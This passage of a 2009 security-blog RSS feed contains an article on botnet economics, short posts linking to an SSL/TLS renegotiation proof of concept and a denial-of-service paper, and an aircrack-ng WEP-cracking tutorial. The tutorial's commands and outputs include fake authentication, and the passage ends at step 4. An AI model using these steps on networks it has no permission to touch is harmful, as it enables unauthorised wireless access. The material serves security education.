Another widely used method involves covertly downloading malware via drive-by-downloads. This method is based on taking advantage of various vulnerabilities in applications, primarily popular browsers, to download malware to the computer when the user visits an infected web page. This is done with special programs called exploits, which use vulnerabilities not only to covertly download, but also to run a malicious program without the user’s knowledge. If the attack is successful, the user will not even suspect that there is something wrong with the computer. This method of distributing malicious software is particularly dangerous, since tens of thousands of people get infected when a popular web resource is compromised.<br />
</p>
<table>
<tr>
<td>
<a href="http://www.megapanzer.com/wp-content/uploads/botnet_11.png" target="_blank"><br />
<img src="http://www.megapanzer.com/wp-content/uploads/botnet_11-1024x609.png" alt="botnet_1" title="botnet_1" width="512" height="305" class="alignleft size-large wp-image-3161" /></a>
</td>
</tr>
<tr>
<td>
<strong>Figure 1: A snare for users (a fake Youtube post)</strong>
</td>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
</table>
<p>A bot can be designed to include the feature of self-propagation in computer networks, e.g., by infecting all the executable files it can access or by scanning the network for vulnerable computers and infecting them. The Virus.Win32.Virut and Net-Worm.Win32.Kido families are examples of such bots. The former is a polymorphic file infector, the latter a network worm. It is hard to overestimate the effectiveness of this approach: today, the zombie network created by Kido is the world’s largest.<br />
<br />
The botnet owner can control unsuspecting users’ infected computers via the botnet’s command &#038; control center, by connecting to bots via an IRC channel, a web connection or any other available means. It is sufficient to unite a few dozen machines into a network for the botnet to start making money for its owner. The income is directly proportional to the zombie network’s stability and growth rate.</p>
<p><strong>How botnet owners make money</strong><br />
<br />
So how do botnet owners make money with infected computers? There are several major sources of income: DDoS attacks, theft of confidential information, spam, phishing, SEO spam, click fraud and distribution of adware and malicious programs. It should be noted that, if chosen, any of these sources can provide a cybercriminal with a good income. But why choose? A botnet can perform all of these activities… at the same time!<br />
</p>
<table>
<tr>
<td>
<a href="http://www.megapanzer.com/wp-content/uploads/botnet_21.png" target="_blank"><br />
<img src="http://www.megapanzer.com/wp-content/uploads/botnet_21.png" alt="botnet_2" title="botnet_2" width="493" height="277" class="alignright size-full wp-image-3160" /></a>
</td>
</tr>
<tr>
<td>
<strong>Figure 2: The ‘botnet business’</strong>
</td>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
</table>
<p><strong>DDoS attacks</strong><br />
<br />
Many researchers believe that even the earliest botnets provided DDoS functionality. A DDoS attack is an attack on a computer system which aims to force the system into denial of service, when it can no longer receive and process requests from legitimate users. One of the most common attack methods involves sending numerous requests to the victim computer, leading to denial of service if the computer under attack has insufficient resources to process all incoming requests. DDoS attacks are a potent weapon for hackers and botnets are an ideal tool for carrying out such attacks. DDoS attacks can be used as a tool for unfair competition or be manifestations of cyberterrorism.<br />
<br />
A botnet owner can render services to any unscrupulous entrepreneur by organizing a DDoS attack on his competitor’s website. The competitor’s website will be down due to the stress caused by the attack and the cybercriminal will receive a modest (or not-so-modest) reward. Botnet owners themselves can use DDoS attacks in the same way to extort money from large companies. Companies often choose to give in to cybercriminals’ demands because dealing with the consequences of successful DDoS attacks is even more expensive. In January 2009, an attack on godaddy.com, a major web hosting provider, resulted in several thousand websites hosted on the company’s web servers being inaccessible for almost 24 hours. What was it, an illegal move by another popular hosting provider in the combat for a place in the sun, or was Go Daddy blackmailed by cybercriminals? We think that both scenarios are quite likely. Incidentally, the same hosting provider experienced a similar attack in November 2005, but then the service was unavailable for only an hour. The new attack was much more powerful, primarily due to the growth of botnets.<br />
<br />
In February 2007, a series of attacks was conducted targeting the root name servers, on which the entire Internet depends for normal operation. It is unlikely that the purpose of the attacks was to crash the Internet, since zombie networks cannot function without the Internet. It is more likely that this was a demonstration of the power and capabilities of zombie networks.<br />
<br />
Adverts for organizing DDoS attacks are openly displayed on many user forums devoted to the relevant topics. As for the price tag, it can range from $50 to several thousand dollars for 24-hour continuous operation of a botnet carrying out a DDoS attack. The price range makes sense. The task of stopping the sales of a modest unprotected online store for one day can be tackled by a relatively small botnet (about a thousand computers), and will cost the criminal a relatively small amount of money. But if the competitor is a large international company with a well-protected website, the price will be much higher, since a successful DDoS attack will require a much larger number of zombie computers, so the customer will have to pay up.<br />
<br />
According to shadowserver.org, about 190 000 DDoS attacks were carried out in 2008, “earning” cybercriminals about $20 million. Naturally, this estimate does not include revenues from blackmail, which are impossible to assess.</p>
<p><strong>Theft of confidential information</strong><br />
<br />
Confidential information stored on users’ computers will always attract cybercriminals. The most valuable data includes credit card numbers, financial information and passwords to various services, such as email, ftp, IM systems etc. Today’s malicious programs allow criminals to choose the data they want by installing the relevant module on the infected computer.<br />
<br />
Cybercriminals can either sell the information stolen or use it in their own interests. Hundreds of new bank-accounts-for-sale advertisements appear on underground forums every day. The price of an account can range from $1 to $1500. The low minimum price demonstrates that the cybercriminals involved in this business have to reduce their prices due to competition. To make a really significant amount of money, they need a steady inflow of fresh data, which is provided primarily by a stable growth of zombie networks.<br />
<br />
Financial information is of special interest to carders, i.e., people who forge bank cards. The profitability of their operations is well illustrated by the story of a group of Brazilian cybercriminals who were arrested two years ago. They were able to withdraw $4.74 million from bank accounts using information stolen from computers.<br />
<br />
Personal data not directly related to users’ finances are of interest to cybercriminals who forge documents, open fake bank accounts, conduct illegal transactions etc.<br />
<br />
The cost of stolen personal data is directly dependent on the country of its legal owner’s residence. For example, a complete set of data on a US resident costs $5 to 8. EU resident data is particularly valued on the black market and is two or three times more expensive than data for US and Canadian residents. This is because cybercriminals can use this data in any EU country. Worldwide, the average cost of a full package of data on one person is about $7.<br />
<br />
Another type of information collected by botnets is email addresses. Unlike credit card numbers and accounts, numerous email addresses can be harvested from one infected computer. The addresses harvested are then put up for sale, sometimes ‘in bulk’, by megabyte. Spammers are naturally the main buyers. One list of a million email addresses costs $20 to 100, while spammers charge $150 to 200 for a mailing to these same million addresses, making a clear profit.<br />
<br />
Criminals are also interested in user accounts for various paid services and online stores. These are certainly cheaper than bank accounts, but their sale involves lower risk of prosecution by law-enforcement agencies. For example, accounts for Steam, a popular online store, with access to ten games are sold for $7 to 15 per account.<br />
</p>
<table>
<tr>
<td>
<a href="http://www.megapanzer.com/wp-content/uploads/botnet_31.png" target="_blank"><br />
<img src="http://www.megapanzer.com/wp-content/uploads/botnet_31-1024x590.png" alt="botnet_3" title="botnet_3" width="512" height="295" class="alignright size-large wp-image-3159" /></target>
</td>
</tr>
<tr>
<td>
<strong>Figure 3: Forum post offering Steam accounts for sale</strong>
</td>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
</table>
<p><strong>Phishing</strong><br />
<br />
New phishing sites are now mass-produced, but they need protection from closure. Zombie networks obligingly provide an implementation of fast flux technology, which allows cybercriminals to change website IP addresses every few minutes without affecting the domain name. This extends the lifetime of phishing sites, making it hard to detect them and take them offline. The idea involves using people’s home computers that are part of a botnet as web servers with phishing content. Fast flux is better than proxy servers at hiding fake websites on the Web.<br />
<br />
Thus, Rock Phish, a well-known phishing ring, works in cooperation with Asprox, a botnet operator. In the middle of last year the ‘Rock Phishers’, who are responsible for half the online phishing attacks and millions of dollars lost by online banking users, upgraded their infrastructure for fast-flux compatibility. This took about five months and everything was done at a highly professional level. Instead of creating their own fast flux network, the phishers acquired a ready-made solution from the owners of the Asprox botnet.<br />
<br />
Cybercriminals, mostly phishers, pay botnet owners $1000 to 2000 per month for hosting fast flux services.<br />
<br />
The average income from phishing is comparable to that from the theft of confidential data using malicious programs and adds up to millions of dollars per year.</p>
<p><strong>Spam</strong><br />
<br />
Millions of spam messages are sent globally every day. Sending unsolicited mail is a major function of today’s botnets. According to Kaspersky Lab data, about 80% of all spam is sent via zombie networks.<br />
<br />
Billions of messages with adverts for Viagra, watch replicas, online casinos etc. are sent from computers of law-abiding users. These messages clutter up communication channels and mailboxes. In this way, hackers expose innocent users’ computers: the sender addresses to which mass mailings are traced are blacklisted by antivirus companies.<br />
<br />
In recent years, the scope of spam services has broadened to include ICQ spam, spam in social networks, user forums and weblogs. This is also an ‘achievement’ of botnet owners: it doesn’t take a lot of effort to add a new module to a bot client in order to open up new horizons for a new business with slogans such as “Spam in Facebook. Cheap”.<br />
<br />
Spam prices vary depending on the target audience and the number of target addresses. The price of a targeted mailing can range from $70 for a few thousand addresses to $1000 for tens of millions.<br />
<br />
In the past year, spammers made about $780,000,000 sending messages. An impressive result for adverts that nobody wants, isn’t it?</p>
<p><strong>Search engine spam</strong><br />
<br />
Another application for botnets is search engine optimization (SEO). Webmasters use SEO in order to improve their websites’ positions in search results, since the higher they get the more visitors will reach the site via search engines.<br />
<br />
Search engines use a number of criteria to assess the relevance of a website. One of the main parameters is the number of links to the site located on other pages or domains. The more such links are found, the higher the search robot rates the site. The words used in the link also affect the rating. For example, the link “buy our computers” will have a greater weight for such queries as “buy a computer”.<br />
<br />
SEO is a flourishing business in itself. Many companies pay lots of money to web masters to bring their websites to top positions in search results. Botnet operators have borrowed some of their techniques and automated the search engine optimization process.<br />
<br />
So if you see lots of links created by an unknown user or even your friend in comments on your favorite live journal entry, don’t be surprised. It only means that somebody has hired the owners of a botnet to promote a web resource. A specially designed program is installed on a zombie computer and leaves comments containing links to the site being promoted on popular resources.<br />
<br />
The average price of illegal SEO spam is about $300 per month.</p>
<p><strong>Adware and malware installation</strong><br />
<br />
Imagine that you are reading your favorite online automobile magazine and suddenly a popup window appears, offering genuine auto accessories for sale. It would seem that there is nothing wrong with that, but you are confident that you didn’t install any software to look for useful (or useless) things. It’s simple: botnet owners have ‘taken care’ of you.<br />
<br />
Many companies that offer online advertising services pay for each installation of their software. As a rule, this is not a lot of money – from 30 cents to $1.50 for each program installed. However, when a cybercriminal has a botnet at his disposal, he can install any software on thousands of computers with a few mouse clicks and earn serious money. J. K. Shiefer, a well-known cybercriminal who was convicted in 2007, ‘earned’ over $14,000 in one month using a botnet of over 250,000 machines to install adware on 10,000 computers.<br />
<br />
Cybercriminals who distribute malicious programs often use the same approach, paying for each installation of their software. This type of cooperation between cybercriminals is called an “affiliate network”. Rates for the installation of software on computers in different countries differ significantly. For example, the average price of installing a malicious program on a thousand computers in China is $3 and in the US $120. This makes sense, since computers of users in developed countries can provide cybercriminals with much more valuable information that can be used to make a lot more money.</p>
<p><strong>Click fraud</strong><br />
<br />
Online advertising agencies that use the PPC (Pay-Per-Click) scheme pay for unique clicks on advertisements. Botnet owners can make significant amounts of money by cheating on such companies.<br />
<br />
An example is the well-known Google AdSense network. Advertisers pay Google for clicks on their ads in the hope that users who visit their sites in this way will buy something from them.<br />
<br />
Google, in its turn, places context-based advertising on the various websites participating in the AdSense program, paying a percentage from each click to website owners. Unfortunately, not all website owners are honest. With a zombie network, a hacker can generate thousands of unique clicks a day – one from each machine to avoid raising Google’s suspicion. Thus the money spent on an advertising campaign makes its way into the hacker’s pockets. Sadly, nobody has been convicted of this kind of fraud so far.<br />
<br />
According to Click Forensics, about 16-17% of all advertising link clicks in 2008 were fake, of which a third was generated by botnets. A simple calculation will show that botnet owners made $33 million ‘for clicks’. Not bad for simple mouse clicks!</p>
<p><strong>Leasing and selling botnets</strong><br />
<br />
Now to the busy botnet owners: for them, Marx’s world-famous formula, “goods – money – goods” translates into “botnet – money – botnet”. Keeping a botnet afloat, ensuring a steady inflow of new zombies, protecting bots from being detected by antivirus products and keeping the C&#038;C from being located requires both financial and time investment from the hacker, so he simply has no time left for sending spam, installing software or stealing and selling information. It is much easier to lease the botnet out or sell it, especially since there is no shortage of those who wish to acquire it.<br />
<br />
The lease of a mail botnet that can send about 1000 messages a minute (with 100 zombie machines working online) brings about $2000 per month. As in the case of leasing, the price of a ready-made botnet depends on the number of infected computers. Ready-made botnets are especially popular on English-speaking user forums. Small botnets of a few hundred bots cost $200 to 700, with an average price amounting to $0.50 per bot. Large botnets cost much more. The Shadow botnet, which was created by a 19-year-old hacker from Holland and included over 100,000 computers, was put on sale for $36,000. This is enough to buy a small house in Spain, but the Brazilian cybercriminal chose the botnet.</p>
<p><strong>Conclusion</strong><br />
<br />
Mind boggling sums make their way into the pockets of people in the botnet business. All sorts of methods are used to combat this business, but at the legislation level it is completely ineffective. Laws on spam and on the development and distribution of malicious programs or on breaking into computer networks are not applied in many countries, even where such laws do exist. Botnet owners or developers who have been prosecuted can be counted on the fingers of two hands. Which is not the case with botnets that are live on the Internet: the number of these has exceeded 3600. In fact, counting functioning botnets is not an easy task, because in addition to a few dozen large botnets that are hard to miss there are numerous smaller zombie networks that are not easy to detect or tell apart.<br />
<br />
At present, the most effective method of combating botnets is close cooperation between antivirus experts, ISPs and law enforcement agencies. Such cooperation has already resulted in the closure of three companies: EstDomains, Atrivo and McColo. Note that the closure of McColo, whose servers hosted command and control centers for several major spam botnets, resulted in a 50% reduction in the amount of spam circulating on the Internet.<br />
<br />
Experts follow the activity of thousands of botnets, and antivirus products detect and destroy bots across the globe, but only law enforcement agencies can stop the command and control centers and catch the cybercriminals, thereby ‘putting out’ botnets for extended periods of time. The closure of McColo only had a short-lived effect: several weeks later spam traffic began to go back to its usual levels. After botnet owners moved their command and control centers to other hosting providers, it was ‘business as usual’ for them again. What is needed is a continual effort rather than occasional inspections. Sadly, chopping off one head of the hydra is not enough!<br />
<br />
Without help from users, combating botnets cannot be effective. It is home computers that make up the lion’s share of the enormous army of bots. Neglecting to stick to simple security rules, such as using antivirus software, using strong account passwords and disabling the AutoPlay feature for removable media, can result in your computer becoming another botnet member, providing cybercriminals with your data and resources. Why help cybercriminals?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2009/11/27/the-economics-of-botnets/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A proof of concept exploit for the man-in-the-middle vulnerability related to SSL/TLS</title>
		<link>http://www.megapanzer.com/2009/11/08/a-proof-of-concept-exploit-for-the-man-in-the-middle-vulnerability-related-to-ssltls/</link>
		<comments>http://www.megapanzer.com/2009/11/08/a-proof-of-concept-exploit-for-the-man-in-the-middle-vulnerability-related-to-ssltls/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 20:05:39 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[Stuff]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=3078</guid>
		<description><![CDATA[This is the document with the proof of concept which explains the attack on the SSL/TLS reconnect vulnerability. It allows to inject data into the encrypted data stream, often without detection by either end of the connection. I normally don&#8217;t publish exploit codes because of it&#8217;s short time value. But this one is rather special. [...]]]></description>
			<content:encoded><![CDATA[<glossarycode><p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="books" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" />This is the document with the proof of concept which explains the attack on the SSL/TLS reconnect vulnerability. It allows to inject data into the encrypted data stream, often without detection by either end of the connection.</p>
<p>I normally don&#8217;t publish <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2563" title="Glossary: Exploit" target="_blank">exploit</a> codes because of it&#8217;s short time value. But this one is rather special. It shows an alternative to the techniques we use here (the human factor as weakness). It&#8217;s a design flaw.</p>
<p>Read the document <a href="http://www.megapanzer.com/wp-content/uploads/Renegotiating_TLS.pdf">here</a>.<br /></p></glossarycode>]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2009/11/08/a-proof-of-concept-exploit-for-the-man-in-the-middle-vulnerability-related-to-ssltls/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Denial of service attacks that still work.</title>
		<link>http://www.megapanzer.com/2009/11/01/denial-of-service-attacks-that-still-work/</link>
		<comments>http://www.megapanzer.com/2009/11/01/denial-of-service-attacks-that-still-work/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 22:18:22 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[Stuff]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Dos]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=3048</guid>
		<description><![CDATA[This is a document from 2005. Quite old you may think but the techniques described there still work today. In the meantime, after four years, there is still no real remedy to stop people conducting such kind of attacks. DDos, SYN flooding and smurf attacks are still a problem. Also because there is some code [...]]]></description>
			<content:encoded><![CDATA[<glossarycode><p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="books" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" />This is a document from 2005. Quite old you may think but the techniques described there still work today. In the meantime, after four years, there is still no real remedy to stop people conducting such kind of attacks. <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: DDoS" target="_blank">DDos</a>, SYN flooding and smurf attacks are still a problem.<br />
Also because there is some code in the &#8220;<a href="http://www.megapanzer.com/external-code/">External code</a>&#8221; section which allows to conduct such attacks it&#8217;s good to know what it is, what it does, how it does it and how it looks like <strong>when</strong> it does it. </p>
<p>Read it <a href="http://www.megapanzer.com/wp-content/uploads/Demystifying_Denial_Of_Service_attacks.pdf">here</a>.</p></glossarycode>]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2009/11/01/denial-of-service-attacks-that-still-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to crack WEP</title>
		<link>http://www.megapanzer.com/2009/10/14/how-to-crack-wep/</link>
		<comments>http://www.megapanzer.com/2009/10/14/how-to-crack-wep/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 07:06:30 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[WEP]]></category>
		<category><![CDATA[WLAN]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=2994</guid>
		<description><![CDATA[Introduction This tutorial walks you though a very simple case to crack a WEP key. It is intended to build your basic skills and get you familiar with the concepts. It assumes you have a working wireless card with drivers already patched for injection. It is recommended that you experiment with your home wireless access [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="books" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" /><br />
<h2><a name="introduction" id="introduction">Introduction</a></h2>
<div class="level2">
<p>
This tutorial walks you though a very simple case to crack a WEP key.  It is intended to build your basic skills and get you familiar with the concepts.  It assumes you have a working wireless card with drivers already patched for injection.
</p>
<p>
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
</p>
<p><span id="more-2994"></span></p>
<p>
I would like to acknowledge and thank the <a href="http://trac.aircrack-ng.org/wiki/Team" class="urlextern" title="http://trac.aircrack-ng.org/wiki/Team"  rel="nofollow">Aircrack-ng team</a> for producing such a great robust tool.
</p>
<p>
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
</p>
</div>
<h2><a name="assumptions" id="assumptions">Assumptions</a></h2>
<div class="level2">
<p>First, this solution assumes:
</p>
<ul>
<li class="level1">
<div class="li"> You are using drivers patched for injection.</div>
</li>
<li class="level1">
<div class="li"> You are physically close enough to send and receive access point packets.  Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP.  The wireless card strength is typically less then the AP strength.  So you have to be physically close enough for your transmitted packets to reach and be received by the AP.</div>
</li>
<li class="level1">
<div class="li"> There is at least one wired or wireless client connected to the network and they are active.  The reason is that this tutorial depends on receiving at least one ARP request packet and if there are no active clients then there will never be any ARP request packets.</div>
</li>
<li class="level1">
<div class="li"> You are using v0.9 of aircrack-ng. If you use a different version then some of the common options may have to be changed.</div>
</li>
</ul>
<p>Ensure all of the above assumptions are true, otherwise the advice that follows will not work.  In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.
</p>
</div>
<h2><a name="equipment_used" id="equipment_used">Equipment used</a></h2>
<div class="level2">
<p>In this tutorial, here is what was used:</p>
<ul>
<li class="level1">
<div class="li">MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82</div>
</li>
<li class="level1">
<div class="li">BSSID (MAC address of access point): 00:14:6C:7E:40:80</div>
</li>
<li class="level1">
<div class="li">ESSID (Wireless network name): teddy</div>
</li>
<li class="level1">
<div class="li">Access point channel: 9</div>
</li>
<li class="level1">
<div class="li">Wireless interface: ath0</div>
</li>
</ul>
<p>You should gather the equivalent information for the network you will be working on.  Then just change the values in the examples below to the specific network.
</p>
</div>
<h2><a name="solution" id="solution">Solution</a></h2>
<div class="level2">
</div>
<h3><a name="solution_overview" id="solution_overview">Solution Overview</a></h3>
<div class="level3">
<p>To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs).  Normal network traffic does not typically generate these IVs very quickly.  Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them.  Since none of us are patient, we use a technique called injection to speed up the process.  Injection involves having the access point (AP) resend selected packets over and over very rapidly.  This allows us to capture a large number of IVs in a short period of time.
</p>
<p>
Once we have captured a large number of IVs, we can use them to determine the WEP key.
</p>
<p>
Here are the basic steps we will be going through:</p>
<ol>
<li class="level1">
<div class="li"> Start the wireless interface in monitor mode on the specific AP channel</div>
</li>
<li class="level1">
<div class="li"> Test the injection capability of the wireless device to the AP</div>
</li>
<li class="level1">
<div class="li"> Use aireplay-ng to do a fake authentication with the access point</div>
</li>
<li class="level1">
<div class="li"> Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs</div>
</li>
<li class="level1">
<div class="li"> Start aireplay-ng in ARP request replay mode to inject packets</div>
</li>
<li class="level1">
<div class="li"> Run aircrack-ng to crack key using the IVs collected</div>
</li>
</ol>
</div>
<h3><a name="step_1_-_start_the_wireless_interface_in_monitor_mode_on_ap_channel" id="step_1_-_start_the_wireless_interface_in_monitor_mode_on_ap_channel">Step 1 &#8211; Start the wireless interface in monitor mode on AP channel</a></h3>
<div class="level3">
<p>The purpose of this step is to put your card into what is called monitor mode.  Monitor mode is mode whereby your card can listen to every packet in the air.  Normally your card will only “hear” packets addressed to you.  By hearing every packet, we can later select some for injection.  As well, only (there are some rare exceptions) monitor mode allows you to inject packets. (Note: this procedure is different for non-Atheros cards.)
</p>
<p>
First stop ath0 by entering:</p>
<pre class="code"> airmon-ng stop ath0   </pre>
<p>The system responds:</p>
<pre class="code"> Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)</pre>
<p>Enter “iwconfig” to ensure there are no other athX interfaces.  It should look similar to this:</p>
<pre class="code"> lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.</pre>
<p>If there are any remaining athX interfaces,  then stop each one.  When you are finished, run “iwconfig” to ensure there are none left.
</p>
<p>
Now, enter the following command to start the wireless card on channel 9 in monitor mode:</p>
<pre class="code"> airmon-ng start wifi0 9</pre>
<p>Substitute the channel number that your AP runs on for “9” in the command above.  This is important.  You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.
</p>
<p>
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”.  This is because the madwifi-ng drivers are being used.  For other drivers, use the wireless interface name.  Examples: “wlan0” or “rausb0”.
</p>
<p>
The system will respond:</p>
<pre class="code"> Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)</pre>
<p>You will notice that “ath0” is reported above as being put into monitor mode.
</p>
<p>
To confirm the interface is properly setup, enter “iwconfig”.
</p>
<p>
The system will respond:</p>
<pre class="code"> lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:&quot;&quot;  Nickname:&quot;&quot;

        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0</pre>
<p>In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card.  Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this.  So everything is good.   It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
</p>
<p>
To match the frequency to the channel, check out:<br />
<a href="http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels" class="urlextern" title="http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels"  rel="nofollow">http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels</a> then select the “Wifi Channel Selection and Channel Overlap” tab.  This will give you the frequency for each channel.
</p>
</div>
<h3><a name="step_2_-_test_wireless_device_packet_injection" id="step_2_-_test_wireless_device_packet_injection">Step 2 &#8211; Test Wireless Device Packet Injection</a></h3>
<div class="level3">
<p>The purpose of this step ensures that your card is within distance of your AP and can inject packets to it.
</p>
<p>
Enter:</p>
<pre class="code"> aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0</pre>
<p>Where:
</p>
<ul>
<li class="level1">
<div class="li">-9 means injection test</div>
</li>
<li class="level1">
<div class="li">-e teddy is the wireless network name</div>
</li>
<li class="level1">
<div class="li">-a 00:14:6C:7E:40:80 is the access point MAC address</div>
</li>
<li class="level1">
<div class="li">ath0 is the wireless interface name</div>
</li>
</ul>
<p>The system should respond with:</p>
<pre class="code"> 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 09:23:35  Trying broadcast probe requests...
 09:23:35  Injection is working!
 09:23:37  Found 1 AP 

 09:23:37  Trying directed probe requests...
 09:23:37  00:14:6C:7E:40:80 - channel: 9 - &#039;teddy&#039;
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
 09:23:39  30/30: 100%</pre>
<p>The last line is important.  Ideally it should say 100% or a very high percentage.  If it is low then you are too far away from the AP or too close.  If it is zero then injection is not working and you need to patch your drivers or use different drivers.</p>
</div>
<h3><a name="step_3_-_start_airodump-ng_to_capture_the_ivs" id="step_3_-_start_airodump-ng_to_capture_the_ivs">Step 3 &#8211; Start airodump-ng to capture the IVs</a></h3>
<div class="level3">
<p>The purpose of this step is to capture the IVs generated.  This step starts airodump-ng to capture the IVs from the specific access point.
</p>
<p>
Open another console session to capture the generated IVs.  Then enter:</p>
<pre class="code"> airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0</pre>
<p>Where:
</p>
<ul>
<li class="level1">
<div class="li">-c 9 is the channel for the wireless network</div>
</li>
<li class="level1">
<div class="li">-<code></code>-bssid 00:14:6C:7E:40:80 is the access point MAC address.  This eliminate extraneous traffic.</div>
</li>
<li class="level1">
<div class="li">-w capture is file name prefix for the file which will contain the IVs.</div>
</li>
<li class="level1">
<div class="li">ath0 is the interface name.</div>
</li>
</ul>
<p>While the injection is taking place (later), the screen will look similar to this:</p>
<pre class="code"> CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           

 BSSID              STATION            PWR  Lost  Packets  Probes                                             

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  </pre>
</div>
<h3><a name="step_4_-_use_aireplay-ng_to_do_a_fake_authentication_with_the_access_point" id="step_4_-_use_aireplay-ng_to_do_a_fake_authentication_with_the_access_point">Step 4 - Use aireplay-ng to do a fake authentication with the access point</a></h3>
<div class="level3">
<p>In order for an access point to accept a packet, the source MAC address must already be associated.  If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext.  In this state, no new IVs are created because the AP is ignoring all the injected packets.
</p>
<p>
The lack of association with the access point is the single biggest reason why injection fails.  Remember the golden rule:  The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.</p>
<p>
To associate with an access point, use fake authentication:</p>
<pre class="code"> aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0</pre>
<p>Where:
</p>
<ul>
<li class="level1">
<div class="li">-1 means fake authentication</div>
</li>
<li class="level1">
<div class="li">0 reassociation timing in seconds</div>
</li>
<li class="level1">
<div class="li">-e teddy is the wireless network name</div>
</li>
<li class="level1">
<div class="li">-a 00:14:6C:7E:40:80 is the access point MAC address</div>
</li>
<li class="level1">
<div class="li">-h 00:0F:B5:88:AC:82 is our card MAC address</div>
</li>
<li class="level1">
<div class="li">ath0 is the wireless interface name</div>
</li>
</ul>
<p>Success looks like:
</p>
<pre class="code">18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)</pre>
<p>Or another variation for picky access points:</p>
<pre class="code">aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0</pre>
<p>Where:</p>
<ul>
<li class="level1">
<div class="li"> 6000 - Reauthenticate every 6000 seconds.  The long period also causes keep alive packets to be sent.</div>
</li>
<li class="level1">
<div class="li"> -o 1 - Send only one set of packets at a time.  Default is multiple and this confuses some APs.</div>
</li>
<li class="level1">
<div class="li"> -q 10 - Send keep alive packets every 10 seconds.</div>
</li>
</ul>
<p>Success looks like:
</p>
<pre class="code">18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
